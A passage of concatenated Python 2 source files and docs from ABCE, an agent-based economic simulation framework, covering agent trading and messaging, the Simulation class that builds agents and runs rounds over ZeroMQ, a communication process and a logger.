self._offer_count += 1 return '%s:%i' % (self.name, self._offer_count) def _register_actions(self): """ registers all actions of the Agent, which do not start with '_' """ for method in getmembers(self): if (ismethod(method[1]) and not(method[0] in vars(Agent) or method[0].startswith('_') or method[0] in vars(multiprocessing.Process))): self._methods[method[0]] = method[1] self._methods['_advance_round'] = self._advance_round self._methods['_clearing__end_of_subround'] = self._clearing__end_of_subround self._methods['_db_panel'] = self._db_panel self._methods['_perish'] = self._perish self._methods['_produce_resource_rent_and_labor'] = self._produce_resource_rent_and_labor self._methods['_aesof'] = self._aesof #TODO inherited classes provide methods that should not be callable #change _ policy _ callable from outside __ not and exception lists def _advance_round(self): offer_iterator = self._answered_offers.iteritems() recent_answerd_offers = OrderedDict() try: while True: offer_id, offer = next(offer_iterator) if offer['round'] == self.round: # message from prelast round recent_answerd_offers[offer_id] = offer break while True: offer_id, offer = next(offer_iterator) recent_answerd_offers[offer_id] = offer except StopIteration: self._answered_offers = recent_answerd_offers keep = OrderedDict() for key in self.given_offers: if not('status' in self.given_offers[key]): keep[key] = self.given_offers[key] elif self.given_offers[key]['status_round'] == self.round: keep[key] = self.given_offers[key] self.given_offers = keep self.database_connection.send("trade_log", zmq.SNDMORE) self.database_connection.send_pyobj(self._trade_log, zmq.SNDMORE) self.database_connection.send(str(self.round)) self._trade_log = defaultdict(int) self.round += 1 def create(self, good, quantity): """ creates quantity of the good out of nothing Use create with care, as long as you use it only for labor and natural resources your model is macroeconomally complete. Args: 'good': is the name of the good quantity: number """ self._haves[good] += quantity def destroy(self, good, quantity): """ destroys quantity of the good, Args:: 'good': is the name of the good quantity: number Raises:: NotEnoughGoods: when goods are insufficient """ self._haves[good] -= quantity if self._haves[good] < 0: self._haves[good] = 0 raise NotEnoughGoods(self.name, good, quantity - self._haves[good]) def destroy_all(self, good): """ destroys all of the good, returns how much Args:: 'good': is the name of the good """ quantity_destroyed = self._haves[good] self._haves[good] = 0 return quantity_destroyed def run(self): self.context = zmq.Context() self.commands = self.context.socket(zmq.SUB) self.commands.connect(self._addresses['command_addresse']) self.commands.setsockopt(zmq.SUBSCRIBE, "all") self.commands.setsockopt(zmq.SUBSCRIBE, self.name) self.commands.setsockopt(zmq.SUBSCRIBE, group_address(self.group)) self.out = self.context.socket(zmq.PUSH) self.out.connect(self._addresses['frontend']) self.database_connection = self.context.socket(zmq.PUSH) self.database_connection.connect(self._addresses['database']) self.logger_connection = self.context.socket(zmq.PUSH) self.logger_connection.connect(self._addresses['logger']) self.messages_in = self.context.socket(zmq.DEALER) self.messages_in.setsockopt(zmq.IDENTITY, self.name) self.messages_in.connect(self._addresses['backend']) self.shout = self.context.socket(zmq.SUB) self.shout.connect(self._addresses['group_backend']) self.shout.setsockopt(zmq.SUBSCRIBE, "all") self.shout.setsockopt(zmq.SUBSCRIBE, self.name) self.shout.setsockopt(zmq.SUBSCRIBE, group_address(self.group)) self.out.send_multipart(['!', '!', 'register_agent', self.name]) while True: try: self.commands.recv() # catches the group adress. except KeyboardInterrupt: print('KeyboardInterrupt: %s, Last command: %s in self.commands.recv() to catch own adress ~1888' % (self.name, command)) break command = self.commands.recv() if command == "!": subcommand = self.commands.recv() if subcommand == 'die': self.__signal_finished() break try: self._methods[command]() except KeyError: if command not in self._methods: raise SystemExit('The method - ' + command + ' - called in the agent_list is not declared (' + self.name) else: raise except KeyboardInterrupt: print('KeyboardInterrupt: %s, Current command: %s ~1984' % (self.name, command)) break if command[0] != '_': self.__reject_polled_but_not_accepted_offers() self.__signal_finished() #self.context.destroy() def _produce_resource_rent_and_labor(self): resource, units, product = self.commands.recv_multipart() if resource in self._haves: try: self._haves[product] += float(units) * self._haves[resource] except KeyError: self._haves[product] = float(units) * self._haves[resource] def _perish(self): goods = self.commands.recv_multipart() for good in goods: if good in self._haves: self._haves[good] = 0 for key in self._open_offers.keys(): if self._open_offers[key]['good'] == good: del self._open_offers[key] for key in self.given_offers.keys(): if (self.given_offers[key]['good'] == good and not(self.given_offers[key]['status'] == 'perished')): self.given_offers[key]['status'] = 'perished' self.given_offers[key]['status_round'] = self.round def _db_panel(self): command = self.commands.recv() try: data_to_track = self._methods[command]() except KeyError: data_to_track = self._haves #TODO this leads to ambigues errors when there is a KeyError in the data_to_track #method (which is common), but testing takes to much time self.database_connection.send("panel", zmq.SNDMORE) self.database_connection.send(command, zmq.SNDMORE) self.database_connection.send_pyobj(data_to_track, zmq.SNDMORE) self.database_connection.send(str(self.idn), zmq.SNDMORE) self.database_connection.send(self.group, zmq.SNDMORE) self.database_connection.send(str(self.round)) def __reject_polled_but_not_accepted_offers(self): to_reject = [] for offer_id in self._open_offers: if self._open_offers[offer_id]['status'] == 'polled': to_reject.append(offer_id) elif self._open_offers[offer_id]['status'] == 'received': good = self._open_offers[offer_id]['good'] for offer_id in to_reject: self.reject(self._open_offers[offer_id]) def aesof_exec(self, column_name): """ executes a command in your excel file. see instruction of pythons exec commmand """ try: exec(self.aesof[column_name], globals(), locals()) del self.aesof[column_name] except KeyError: pass def aesof_eval(self, column_name): """ evaluates an expression' in your excel file. see instruction of pythons eval commmand """ return eval(self.aesof[column_name], globals(), locals()) def _aesof(self): self.aesof = self.commands.recv_pyobj() #TODO go to trade def _clearing__end_of_subround(self): """ agent receives all messages and objects that have been send in this subround and deletes the offers that where retracted, but not executed. '_o': registers a new offer '_d': delete received that the issuing agent retract '_a': clears a made offer that was accepted by the other agent '_p': counterparty partially accepted a given offer '_r': deletes an offer that the other agent rejected '_g': recive a 'free' good from another party """ while True: typ = self.messages_in.recv() if typ == '.': break msg = self.messages_in.recv_pyobj() if typ == '_o': msg['status'] = 'received' self._open_offers[msg['idn']] = msg #TODO make self._open_offers a pointer to _msgs['_o'] #TODO make different lists for sell and buy offers elif typ == '_d': del self._open_offers[msg] elif typ == '_a': offer = self._receive_accept(msg) self._log_receive_accept(offer) elif typ == '_p': offer = self._receive_partial_accept(msg) self._log_receive_partial_accept(offer) elif typ == '_r': self._receive_reject(msg) elif typ == '_g': self._haves[msg[0]] += msg[1] elif typ == '_q': self._quotes[msg['idn']] = msg else: self._msgs.setdefault(typ, []).append(Message(msg)) while True: address = self.shout.recv() if address == 'all.': break typ = self.shout.recv() msg = self.shout.recv_pyobj() self._msgs.setdefault(typ, []).append(Message(msg)) def __signal_finished(self): """ signals modelswarm via communication that the agent has send all messages and finish his action """ self.out.send_multipart(['!', '.']) def _send(self, receiver_group, receiver_idn, typ, msg): """ sends a message to 'receiver_group', who can be an agent, a group or 'all'. The agents receives it at the begin of each round in self.messages(typ) is 'm' for mails. typ =(_o,c,u,r) are reserved for internally processed offers. """ self.out.send('%s_%i:' % (receiver_group.encode('ascii'), receiver_idn), zmq.SNDMORE) self.out.send(typ, zmq.SNDMORE) self.out.send_pyobj(msg) def _send_to_group(self, receiver_group, typ, msg): """ sends a message to 'receiver_group', who can be an agent, a group or 'all'. The agents receives it at the begin of each round in self.messages(typ) is 'm' for mails. typ =(_o,c,u,r) are reserved for internally processed offers. """ self.out.send('!', zmq.SNDMORE) self.out.send('s', zmq.SNDMORE) self.out.send('%s:' % receiver_group.encode('ascii'), zmq.SNDMORE) self.out.send(typ, zmq.SNDMORE) self.out.send_pyobj(msg) def flatten(d, parent_key=''): items = [] for k, v in d.items(): try: items.extend(flatten(v, '%s%s_' % (parent_key, k)).items()) except AttributeError: items.append(('%s%s' % (parent_key, k), v)) return dict(items) <file_sep>#pylint: disable=C0111, C0301, C0325,I0011, W0403,I0011 from _communication import _Communication from tools import _number_or_string, agent_name, group_address import abcelogger import csv import db import inspect import jzmq as zmq import time import os from repeat import repeat import itertools import postprocess try: from interfaces import SimulationInterface #pylint: disable=F0401 except ImportError: class SimulationInterface: pass #pylint: disable=C0321 class Simulation(SimulationInterface): """ This class in which the simulation is run. It takes the simulation_parameters to set up the simulation. Actions and agents have to be added. databases and resource declarations can be added. Then runs the simulation. Usually the parameters are specified in a tab separated csv file. The first line are column headers. Args:: simulation_parameters: a dictionary with all parameters. "name" and "num_rounds" are mandatory. Example:: for simulation_parameters in read_parameters('simulation_parameters.csv'): action_list = [ ('household', 'recieve_connections'), ('household', 'offer_capital'), ('firm', 'buy_capital'), ('firm', 'production'), ('household', 'buy_product') 'after_sales_before_consumption' ('household', 'consume') ] w = Simulation(simulation_parameters) w.add_action_list(action_list) w.build_agents(Firm, 'firm', 'num_firms') w.build_agents(Household, 'household', 'num_households') w.declare_round_endowment(resource='labor_endowment', productivity=1, product='labor') w.declare_round_endowment(resource='capital_endowment', productivity=1, product='capital') w.panel_data('firm', command='after_sales_before_consumption') w.run() """ def __init__(self, simulation_parameters): self.simulation_parameters = simulation_parameters self._action_groups = {} self.agent_list = {} self._action_list = [] self._resource_commands = {} self._perish_commands = {} self._aesof_commands = {} self._resource_command_group = {} self._db_commands = {} self.num_agents = 0 self.num_agents_in_group = {} self._build_first_run = True self._agent_parameters = None self.database_name = 'database' from config import zmq_transport #pylint: disable=F0401 if zmq_transport == 'inproc': self._addresses_bind = self._addresses_connect = { 'type': 'inproc', 'command_addresse': "inproc://commands", 'ready': "inproc://ready", 'frontend': "inproc://frontend", 'backend': "inproc://backend", 'group_backend': "inproc://group_backend", 'database': "inproc://database", 'logger': "inproc://logger" } elif zmq_transport == 'ipc': self._addresses_bind = self._addresses_connect = { 'command_addresse': "ipc://commands.ipc", 'ready': "ipc://ready.ipc", 'frontend': "ipc://frontend.ipc", 'backend': "ipc://backend.ipc", 'group_backend': "ipc://group_backend", 'database': "ipc://database.ipc", 'logger': "ipc://logger.ipc" } elif zmq_transport == 'tcp': from config import config_tcp_bind, config_tcp_connect #pylint: disable=F0401 self._addresses_bind = config_tcp_bind self._addresses_connect = config_tcp_connect else: from config import config_custom_bind, config_custom_connect #pylint: disable=F0401 self._addresses_bind = config_custom_bind self._addresses_connect = config_custom_connect time.sleep(1) self.zmq_context = zmq.MyContext() self.commands = self.zmq_context.socket(zmq.PUB) self.commands.bind(self._addresses_bind['command_addresse']) self.ready = self.zmq_context.socket(zmq.PULL) self.ready.bind(self._addresses_bind['ready']) self._communication = _Communication(self._addresses_bind, self._addresses_connect, self.zmq_context) self._communication.start() self.ready.recv() self.communication_channel = self.zmq_context.socket(zmq.PUSH) self.communication_channel.connect(self._addresses_connect['frontend']) self._register_action_groups() self._db = db.Database(simulation_parameters['_path'], self.database_name, self._addresses_bind['database'], self.zmq_context) self._logger = abcelogger.AbceLogger(simulation_parameters['_path'], 'logger', self._addresses_bind['logger'], self.zmq_context) self._db.start() self._logger.start() self.aesof = False self.round = 0 self.trade_logging = 'individual' try: self.trade_logging = simulation_parameters['trade_logging'].lower() except KeyError: self.trade_logging = 'individual' print("'trade_logging' in simulation_parameters.csv not set" ", default to 'individual', possible values " "('group' (fast) or 'individual' (slow) or 'off')") if not(self.trade_logging in ['individual', 'group', 'off']): print(type(self.trade_logging), self.trade_logging, 'error') SystemExit("'trade_logging' in simulation_parameters.csv can be " "'group' (fast) or 'individual' (slow) or 'off'" ">" + self.trade_logging + "< not accepted") assert self.trade_logging in ['individual', 'group', 'off'] time.sleep(1) def add_action_list(self, action_list): """ add an `action_list`, which is a list of either: - tuples of an goup_names and and action - a single command string for panel_data or follow_agent - [tuples of an agent name and and action, currently not unit tested!] Example:: action_list = [ repeat([ ('Firm', 'sell'), ('Household', 'buy') ], repetitions=10 ), ('Household_03', 'dance') 'panel_data_end_of_round_befor consumption', ('Household', 'consume'), ] w.add_action_list(action_list) """ self.action_list = action_list def add_action_list_from_file(self, parameter): """ The action list can also be declared in the simulation_parameters.csv file. Which allows you to run a batch of simulations with different orders. In simulation_parameters.csv there must be a column with which contains the a declaration of the action lists: +-------------+-------------+--------------------------------------------+-----------+ | num_rounds | num_agents | action_list | endowment | +=============+=============+============================================+===========+ | 1000, | 10, | [ ('firm', 'sell'), ('household', 'buy')], | (5,5) | +-------------+-------------+--------------------------------------------+-----------+ | 1000, | 10, | [ ('firm', 'buf'), ('household', 'sell')], | (5,5) | +-------------+-------------+--------------------------------------------+-----------+ | 1000, | 10, | [ ('firm', 'sell'), | | | | | ('household', 'calculate_net_wealth'), | | | | | ('household', 'buy')], | (5,5) | +-------------+-------------+--------------------------------------------+-----------+ The command:: self.add_action_list_from_file('parameters['action_list']) Args:: parameter a string that contains the action_list. The string can be read from the simulation_parameters file: parameters['action_list'], where action_list is the column header in simulation_parameters. """ self.add_action_list(eval(parameter)) #TODO test def _register_action_groups(self): """ makes methods accessable for the action_list """ reserved_words = ['build_agents', 'run', 'ask_agent', 'ask_each_agent_in', 'register_action_groups'] for method in inspect.getmembers(self): if (inspect.ismethod(method[1]) and method[0][0] != '_' and method[0] not in reserved_words): self._action_groups[method[0]] = method[1] self._action_groups['_advance_round_agents'] = self._advance_round_agents def declare_round_endowment(self, resource, productivity, product, command='default_resource', group='all'): """ Every round the agent gets 'productivity' units of good 'product' for every 'resource' he possesses. By default the this happens at the beginning of the round. You can change this. Insert the command string you chose it self.action_list. One command can be associated with several resources. Round endowments can be goup specific, that means that when somebody except this group holds them they do not produce. The default is 'all'. Restricting this to a group could have small speed gains. """ productivity = str(productivity) if command not in self._resource_commands: self._resource_commands[command] = [] if command in self._resource_command_group: if self._resource_command_group[command] != group: raise SystemExit('Different groups assigned to the same command') else: self._resource_command_group[command] = group self._resource_commands[command].append([resource, productivity, product]) def _make_resource_command(self, command): resources_in_this_command = self._resource_commands[command][:] group = self._resource_command_group[command] group_and_method = [group, '_produce_resource_rent_and_labor'] def send_resource_command(): for productivity in resources_in_this_command: self.commands.send_multipart(group_and_method + productivity) return send_resource_command #TODO could be made much faster by sending all resource simultaneously #as in _make_perish_command def declare_perishable(self, good, command='perish_at_the_round_end'): """ This good only lasts one round and then disappears. For example labor, if the labor is not used today today's labor is lost. In combination with resource this is useful to model labor or capital. In the example below a worker has an endowment of labor and capital. Every round he can sell his labor service and rent his capital. If he does not the labor service for this round and the rent is lost. Args:: good: the good that perishes [command: In order to perish at another point in time you can choose a commmand and insert that command in the action list. Example:: w.declare_round_endowment(resource='LAB_endowment', productivity=1000, product='LAB') w.declare_round_endowment(resource='CAP_endowment', productivity=1000, product='CAP') w.declare_perishable(good='LAB') w.declare_perishable(good='CAP') """ if command not in self._perish_commands: self._perish_commands[command] = [] self._perish_commands[command].append(good) def _make_perish_command(self, command): goods = self._perish_commands[command][:] def send_perish_command(): self.commands.send_multipart(['all', '_perish'] + goods) return send_perish_command #TODO also for other variables def panel_data(self, group, variables='goods', typ='FLOAT', command='round_end'): """ Ponel_data writes variables of a group of agents into the database, by default the db write is at the end of the round. You can also specify a command and insert the command you choose in the action_list. If you choose a custom command, you can declare a method that returns the variable you want to track. This function in the class of the agent must have the same name as the command. You can use the same command for several groups, that report at the same time. Args: group: can be either a group or 'all' for all agents variables (optional): default='goods' monitors all the goods the agent owns you can insert any variable your agent possesses. For self.knows_latin you insert 'knows_latin'. If your agent has self.technology you can use 'technology['formula']' In this case you must set the type to CHAR(50) with the typ='CHAR(50)' parameter. typ: the type of the sql variable (FLOAT, INT, CHAR(length)) command Example in start.py:: w.panel_data(group='Firm', command='after_production') or w.panel_data(group=firm) Optional in the agent:: class Firm(AgentEngine): ... def after_production(self): track = {} track['t'] = 'yes' for key in self.prices: track['p_' + key] = self.prices[key] track.update(self.product[key]) return track """ if variables != 'goods': raise SystemExit('Not implemented') if command not in self._db_commands: self._db_commands[command] = [] self._db_commands[command].append([group, variables, typ]) self._db.add_panel(group, command) def _make_db_command(self, command): db_in_this_command = self._db_commands[command][:] def send_db_command(): for db_good in db_in_this_command: self.commands.send_multipart([group_address(db_good[0]), '_db_panel', command]) # self._add_agents_to_wait_for(self.num_agents_in_group[db_good[0]]) return send_db_command def _process_action_list(self, action_list): processed_list = [] for action in action_list: if type(action) is tuple: if action[0] not in self.num_agents_in_group.keys() + ['all']: SystemExit('%s in (%s, %s) in the action_list is not a known agent' % (action[0], action[0], action[1])) action_name = '_' + action[0] + '|' + action[1] self._action_groups[action_name] = self._make_ask_each_agent_in(action) processed_list.append(action_name) elif isinstance(action, repeat): nested_action_list = self._process_action_list(action.action_list) for _ in range(action.repetitions): processed_list.extend(nested_action_list) else: processed_list.append(action) return processed_list def run(self): """ This runs the simulation """ if not(self.agent_list): raise SystemExit('No Agents Created') if not(self.action_list) and not(self._action_list): raise SystemExit('No action_list declared') if not(self._action_list): self._action_list = self._process_action_list(self.action_list) for command in self._db_commands: self._action_groups[command] = self._make_db_command(command) if command not in self._action_list: self._action_list.append(command) for command in self._resource_commands: self._action_groups[command] = self._make_resource_command(command) if command not in self._action_list: self._action_list.insert(0, command) for command in self._perish_commands: self._action_groups[command] = self._make_perish_command(command) if command not in self._action_list: self._action_list.append(command) if self.aesof: self._action_groups['aesof'] = self._make_aesof_command() if 'aesof' not in self._action_list: self._action_list.insert(0, 'aesof') self._action_list.append('_advance_round_agents') self._write_description_file() self._displaydescribtion() self._add_agents_to_wait_for(self.num_agents) self._wait_for_agents() start_time = time.time() for year in xrange(self.simulation_parameters['num_rounds']): print("\nRound" + str("%3d" % year)) for action in self._action_list: self._action_groups[action]() self._wait_for_agents_than_signal_end_of_comm() self.commands.send_multipart(['all', '_clearing__end_of_subround']) print(str("%6.2f" % (time.time() - start_time))) for agent in list(itertools.chain(*self.agent_list.values())): self.commands.send_multipart([agent.name, "!", "die"]) for agent in list(itertools.chain(*self.agent_list.values())): while agent.is_alive(): time.sleep(0.1) self._end_Communication() database = self.zmq_context.socket(zmq.PUSH) database.connect(self._addresses_connect['database']) database.send('close') logger = self.zmq_context.socket(zmq.PUSH) logger.connect(self._addresses_connect['logger']) logger.send('close') while self._db.is_alive(): time.sleep(0.05) while self._communication.is_alive(): time.sleep(0.025) postprocess.to_r_and_csv(os.path.abspath(self.simulation_parameters['_path']), self.database_name) self.zmq_context.destroy() def _make_ask_each_agent_in(self, action): group_address_var = group_address(action[0]) number = self.num_agents_in_group[action[0]] def ask_each_agent_with_address(): self._add_agents_to_wait_for(number) self.commands.send_multipart([group_address_var, action[1]]) return ask_each_agent_with_address def ask_each_agent_in(self, group_name, command): """ This is only relevant when you derive your custom world/swarm not in start.py applying a method to a group of agents group_name, method. Args:: agent_group: using group_address('group_name', number) method: as string """ self._add_agents_to_wait_for(self.num_agents_in_group[group_name]) self.commands.send_multipart([group_address(group_name), command]) def ask_agent(self, group, idn, command): """ This is only relevant when you derive your custom world/swarm not in start.py applying a method to a single agent Args:: agent_name as string or using agent_name('group_name', number) method: as string """ self._add_agents_to_wait_for(1) self.commands.send_multipart(['%s_%i:' % (group, idn), command]) def build_agents(self, AgentClass, number=None, group_name=None, agents_parameters=None): #pylint: disable=C0103 """ This method creates agents, the first parameter is the agent class. "num_agent_class" (e.G. "num_firm") should be difined in simulation_parameters.csv. Alternatively you can also specify number = 1.s Args:: AgentClass: is the name of the AgentClass that you imported number (optional): number of agents to be created. or the colum name of the row in simulation_parameters.csv that contains this number. If not specified the column name is assumed to be 'num_' + agent_name (all lowercase). For example num_firm, if the class is called Firm or name = Firm. [group_name (optional): to give the group a different name than the class_name. (do not use this if you have not a specific reason] Example:: w.build_agents(Firm, number='num_firms') # 'num_firms' is a column in simulation_parameters.csv w.build_agents(Bank, 1) w.build_agents(CentralBank, number=1) """ #TODO single agent groups get extra name without number #TODO when there is a group with a single agent the ask_agent has a confusingname if not(group_name): group_name = AgentClass.__name__.lower() if number and not(agents_parameters): try: num_agents_this_group = int(number) except ValueError: try: num_agents_this_group = self.simulation_parameters[number] except KeyError: SystemExit('build_agents ' + group_name + ': ' + number + ' is not a number or a column name in simulation_parameters.csv' 'or the parameterfile you choose') elif not(number) and not(agents_parameters): try: num_agents_this_group = self.simulation_parameters['num_' + group_name.lower()] except KeyError: raise SystemExit('num_' + group_name.lower() + ' is not in simulation_parameters.csv') elif not(number) and agents_parameters: num_agents_this_group = len(agents_parameters) self.simulation_parameters['num_' + group_name.lower()] = num_agents_this_group else: raise SystemExit('build_agents ' + group_name + ': Either ' 'number_or_parameter_column or agents_parameters must be' 'specied, NOT both.') if not(agents_parameters): agents_parameters = [None for _ in range(num_agents_this_group)] self.num_agents += num_agents_this_group self.num_agents_in_group[group_name] = num_agents_this_group self.num_agents_in_group['all'] = self.num_agents self.agent_list[group_name] = [] for idn in range(num_agents_this_group): agent = AgentClass(self.simulation_parameters, agents_parameters[idn], [idn, group_name, self._addresses_connect, self.trade_logging, self.zmq_context]) agent.name = agent_name(group_name, idn) agent.start() self.agent_list[group_name].append(agent) def build_agents_from_file(self, AgentClass, parameters_file=None, multiply=1, delimiter='\t', quotechar='"'): """ This command builds agents of the class AgentClass from an csv file. This way you can build agents and give every single one different parameters. The file must be tab separated. The first line contains the column headers. The first column "agent_class" specifies the agent_class. The second column "number" (optional) allows you to create more than one agent of this type. The other columns are parameters that you can access in own_parameters the __init__ function of the agent. Agent created from a csv-file:: class Agent(AgentEngine): def __init__(self, simulation_parameter, own_parameters, _pass_to_engine): AgentEngine.__init__(self, *_pass_to_engine) self.size = own_parameters['firm_size'] """ #TODO declare all self.simulation_parameters['num_XXXXX'], when this is called the first time if parameters_file == None: try: parameters_file = self.simulation_parameters['agent_parameters_file'] except KeyError: parameters_file = 'agents_parameters.csv' elif self._agent_parameters == None: if parameters_file != self._agent_parameters: SystemExit('All agents must be declared in the same agent_parameters.csv file') self._agent_parameters = parameters_file agent_class = AgentClass.__name__.lower() agents_parameters = [] csvfile = open(parameters_file) dialect = csv.Sniffer().sniff(csvfile.read(1024)) csvfile.seek(0) agent_file = csv.reader(csvfile, dialect) keys = [key for key in agent_file.next()] if not(set(('agent_class', 'number')).issubset(keys)): SystemExit(parameters_file + " does not have a column 'agent_class'" "and/or 'number'") agents_list = [] for line in agent_file: cells = [_number_or_string(cell) for cell in line] agents_list.append(dict(zip(keys, cells))) if self._build_first_run: for line in agents_list: num_entry = 'num_' + line['agent_class'].lower() if num_entry not in self.simulation_parameters: self.simulation_parameters[num_entry] = 0 self.simulation_parameters[num_entry] += int(line['number']) self._build_first_run = False for line in agents_list: if line['agent_class'] == agent_class: agents_parameters.extend([line for _ in range(line['number'] * multiply)]) self.build_agents(AgentClass, agents_parameters=agents_parameters) def debug_subround(self): self.subround = subround.Subround(self._addresses_connect) self.subround.name = "debug_subround" self.subround.start() def _advance_round_agents(self): """ advances round by 1 """ self.round += 1 self.commands.send_multipart(['all', '_advance_round']) def _add_agents_to_wait_for(self, number): self.communication_channel.send_multipart(['!', '+', str(number)]) def _wait_for_agents_than_signal_end_of_comm(self): self.communication_channel.send_multipart(['!', '}']) try: self.ready.recv() except KeyboardInterrupt: print('KeyboardInterrupt: abce.db: _wait_for_agents_than_signal_end_of_comm(self) ~654') def _wait_for_agents(self): self.communication_channel.send_multipart(['!', ')']) try: self.ready.recv() except KeyboardInterrupt: print('KeyboardInterrupt: abce.db: _wait_for_agents(self) ~662') def _end_Communication(self): self.communication_channel.send_multipart(['!', '!', 'end_simulation']) def _write_description_file(self): description = open( os.path.abspath(self.simulation_parameters['_path'] + '/description.txt'), 'w') description.write('\n') description.write('\n') for key in self.simulation_parameters: description.write(key + ": " + str(self.simulation_parameters[key]) + '\n') def _displaydescribtion(self): description = open(self.simulation_parameters['_path'] + '/description.txt', 'r') print(description.read()) def declare_aesof(self, aesof_file='aesof.csv'): """ AESOF lets you determine agents behaviour from an comma sepertated sheet. First row must be column headers. There must be one column header 'round' and a column header name. A name can be a goup are and individal (goup_id e.G. firm_01) it can also be 'all' for all agents. Every round, the agents self.aesof parameters get updated, if a row with the corresponding round and agent name exists. Therefore an agent can access the parameters `self.aesof[column_name]` for the current round. (or the precedent one when there was no update) parameter is set. You can use it in your source code. It is persistent until the next round for which a corresponding row exists. You can alse put commands or call methods in the excel file. For example: `self.aesof_exec(column_name)`. Alternatively you can declare a variable according to a function: `willingness_to_pay = self.aesof_eval(column_name)`. There is a big difference between `self.aesof_exec` and `self.aesof_eval`. exec is only executed in rounds that have corresponding rows in aesof.csv. `self.aesof_eval` is persistent every round the expression of the row corresponding to the current round round or the last declared round is executed. Args: aesof_file(optional): name of the csv_file. Default is the group name plus 'aesof.csv'. """ csvfile = open(aesof_file) dialect = csv.Sniffer().sniff(csvfile.read(1024)) csvfile.seek(0) reader = csv.reader(csvfile, dialect) keys = [key.lower() for key in reader.next()] if not 'name' in keys: SystemExit("no column 'name' in the aesof.csv") if not 'round' in keys: SystemExit("no column 'round' in the aesof.csv") self.aesof_dict = {} for line in reader: line = [_number_or_string(cell) for cell in line] dictionary = dict(zip(keys, line)) round = int(dictionary['round']) if round not in self.aesof_dict: self.aesof_dict[round] = [] self.aesof_dict[round].append(dictionary) if 0 not in self.aesof_dict: SystemExit('Round 0 must always be declare, with initial values') self.aesof = True def _make_aesof_command(self): for round in self.aesof_dict.keys(): for round_line in self.aesof_dict[round]: if round_line['name'] not in self.num_agents_in_group.keys() + ['all']: SystemExit("%s in '%s' under 'name' is an unknown agent" % (round_line['name'], round_line)) def send_aesof_command(): try: for round_line in self.aesof_dict[self.round]: self.commands.send_multipart(['%s:' % round_line['name'], '_aesof'], zmq.SNDMORE) self.commands.send_json(round_line) except KeyError: if self.round in self.aesof_dict: raise return send_aesof_command #pylint: disable=C0103 def getZmqContext(self): return self.zmq_context def getAddressesConnect(self): return self._addresses_connect <file_sep>.. _rsr: Retrieval of the simulation results =================================== Agents can log their internal states and the simulation can create panel data. :mod:`abce.database`. the results are stored in a subfolder of the ./results/ folder. The tables are stored as '.csv' files which can be opened with excel and libreoffice. Further you can import the files with R, which also gives you a social accounting matrix: 1. start a in the subfolder of ./results/ that contains your simulation results 2. start R 3. `load('database.R')` The same data is also as a sqlite database 'database.db' available. It can be opened by 'sqlitebrowser' in ubuntu. <file_sep>Examples ======== There are a number of examples in this folder. In order of complexity. 1. To check out change in the folder. 2. `python start` 3. change into `./result/your_simulation_date`. 4. start R by typing `R` 5. in R type source('../../sam.R') one_household_one_firm: a simple economy with one firm that buys labor and a consumption good. Prices and quantities are fixed. 2sectors: is a slightly more complex model where there is an upstream and a downstream company <file_sep># Copyright 2012 <NAME> # # Module Author: <NAME> # # ABCE is open-source software. If you are using ABCE for your research you are # requested the quote the use of this software. # # Licensed under the Apache License, Version 2.0 (the "License"); you may not # use this file except in compliance with the License and quotation of the # author. You may obtain a copy of the License at # http://www.apache.org/licenses/LICENSE-2.0 # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations under # the License. """ internal process handles communication """ import abce.jzmq as zmq try: from multiprocessing import Process except ImportError: from threading import Thread as Process class _Communication(Process): #pylint: disable=R0903 def __init__(self, _addresses_bind, _addresses_connect, context): #pylint: disable=W0231 Process.__init__(self) self._addresses_bind = _addresses_bind self._addresses_connect = _addresses_connect self.context = context def run(self): #pylint: disable=R0915,R0912 self.in_soc = self.context.socket(zmq.PULL) self.in_soc.bind(self._addresses_bind['frontend']) self.out = self.context.socket(zmq.PUSH) self.out.bind(self._addresses_bind['backend']) self.shout = self.context.socket(zmq.PUB) self.shout.bind(self._addresses_bind['group_backend']) self.ready = self.context.socket(zmq.PUSH) self.ready.connect(self._addresses_connect['ready']) agents_finished, total_number = 0, 0 total_number_known = False self.ready.send('working') all_agents = [] while True: try: msg = self.in_soc.recv_multipart() except KeyboardInterrupt: print('KeyboardInterrupt: _Communication: Waiting for messages') if total_number_known: print("total number known") print("%i of %i ended communication" % (agents_finished, total_number)) else: print("total number not known") break if msg[0] == '!': if msg[1] == '.': agents_finished += 1 if msg[1] == 's': self.shout.send_multipart(msg[2:]) continue elif msg[1] == '+': total_number += int(msg[2]) continue elif msg[1] == ')': total_number_known = True send_end_of_communication_sign = False elif msg[1] == '}': total_number_known = True send_end_of_communication_sign = True elif msg[1] == '!': if msg[2] == 'register_agent': all_agents.append(msg[3]) agents_finished += 1 elif msg[2] == 'end_simulation': break if total_number_known: if agents_finished == total_number: agents_finished, total_number = 0, 0 total_number_known = False self.ready.send('.') if send_end_of_communication_sign: for agent in all_agents: self.out.send_multipart([agent, '.']) self.shout.send('all.') else: self.out.send_multipart(msg) self.context.destroy() <file_sep># Copyright 2012 <NAME> # # Module Author: <NAME> # # ABCE is open-source software. If you are using ABCE for your research you are # requested the quote the use of this software. # # Licensed under the Apache License, Version 2.0 (the "License"); you may not # use this file except in compliance with the License and quotation of the # author. You may obtain a copy of the License at # http://www.apache.org/licenses/LICENSE-2.0 # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations under # the License. """ The :class:`abceagent.Agent` class is the basic class for creating your agent. It automatically handles the possession of goods of an agent. In order to produce/transforme goods you need to also subclass the :class:`abceagent.Firm` [1]_ or to create a consumer the :class:`abceagent.Household`. For detailed documentation on: Trading: see :class:`abceagent.Trade` Logging and data creation: see :class:`abceagent.Database` and :doc:`simulation_results` Messaging between agents: see :class:`abceagent.Messaging`. .. autoexception:: abcetools.NotEnoughGoods .. [1] or :class:`abceagent.FirmMultiTechnologies` for simulations with complex technologies. """ from __future__ import division import zmq import multiprocessing class Logger: def log_network(self, list_of_nodes, color=0, style=False, shape=False): """ loggs a network. List of not is a list with the numbers of all agents, this agent is connected to. Args: list_of_nodes: list of nodes that the agent is linked to. color: integer for the color style(True/False): filled or not shape(True/False): form of the bubble """ data_to_write = [self.round, self.idn, 0, False, False] + list_of_nodes self.logger_connection.send("network", zmq.SNDMORE) self.logger_connection.send_pyobj(data_to_write) <file_sep># Copyright 2012 <NAME> # # Module Author: <NAME> # # ABCE is open-source software. If you are using ABCE for your research you are # requested the quote the use 